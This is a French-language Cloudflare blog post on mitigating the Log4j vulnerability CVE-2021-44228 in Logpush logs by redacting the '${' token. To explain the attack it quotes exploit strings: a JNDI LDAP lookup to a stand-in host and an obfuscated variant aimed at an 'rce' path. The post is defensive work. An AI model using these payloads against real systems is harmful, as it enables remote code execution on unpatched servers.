Le 9 décembre 2021, le monde a appris l'existence de CVE-2021-44228, une exploitation de vulnérabilité Zero Day affectant l'utilitaire Apache Log4j. Cloudflare a immédiatement mis à jour son pare-feu WAF pour contribuer à établir une protection contre cette vulnérabilité, mais nous recommandons à nos clients de mettre à jour leurs systèmes le plus rapidement possible.

Cependant, nous savons que de nombreux clients de Cloudflare consomment leurs fichiers journaux dans un logiciel qui utilise Log4j. Nous atténuons donc également toute tentative d'exploitation de la vulnérabilité via les fichiers journaux Cloudflare. Au moment de cette publication, nous observons jusqu'à 1000 fois par seconde le modèle d'exploitation de la vulnérabilité dans les fichiers journaux que nous transmettons aux clients.

Dès maintenant, les clients peuvent mettre à jour leurs tâches Logpush afin d'expurger automatiquement les jetons susceptibles de déclencher cette vulnérabilité. Vous pouvez en apprendre davantage à ce sujet dans notre documentation pour développeurs ou consulter les détails ci-dessous.

Comment fonctionne l'attaque

Vous pouvez en apprendre davantage plus sur le fonctionnement de la vulnérabilité de Log4j dans notre publication de blog. En résumé, l'auteur d'une attaque peut ajouter une expression comme ${jndi:ldap://exemple.com/a} dans n'importe quelle chaîne. Log4j établit alors une connexion sur Internet pour récupérer cet objet.

Les fichiers journaux Cloudflare contiennent de nombreux champs de chaînes contrôlés par les utilisateurs finaux sur l'Internet public, comme User Agent et le chemin d'URL. Avec cette vulnérabilité, il est possible qu'un utilisateur malveillant puisse provoquer une exécution de code à distance sur tout système lisant ces champs et utilisant une instance non corrigée de Log4j.

Notre plan d'atténuation

Malheureusement, la simple recherche d'un jeton comme ${jndi:ldap n'est pas suffisante pour offrir une protection contre cette vulnérabilité. En raison de l'expressivité du langage de modélisation, il est nécessaire de rechercher également les variantes masquées. Nous observons déjà des auteurs d'attaques qui utilisent des variantes comme ${jndi:${lower:l}${lower:d}a${lower:p}://loc${upper:a}lhost:1389/rce}. Ainsi, l'expurgation du jeton ${ est le moyen le plus général de se défendre contre cette vulnérabilité.

Le jeton ${ apparaît jusqu'à 1000 fois par seconde dans les journaux que nous transmettons actuellement aux clients. Une vérification ponctuelle de certains enregistrements montre que beaucoup ne sont pas des tentatives d'exploitation de cette vulnérabilité. Par conséquent, nous ne pouvons pas expurger nos journaux en toute sécurité sans affecter les clients qui s'attendent à voir ce jeton dans leurs journaux.

Dès maintenant, les clients peuvent mettre à jour leurs tâches Logpush pour expurger la chaîne ${ et la remplacer systématiquement par x{.

Pour cela, les clients peuvent mettre à jour la configuration des options de leur tâche Logpush pour inclure le paramètre CVE-2021-44228=true. Pour des instructions détaillées sur la marche à suivre avec l'API Logpush, consultez l'exemple fourni dans notre documentation pour développeurs. Veuillez noter que cette option n'est actuellement pas disponible dans le tableau de bord Cloudflare et qu'elle peut uniquement être modifiée avec l'API.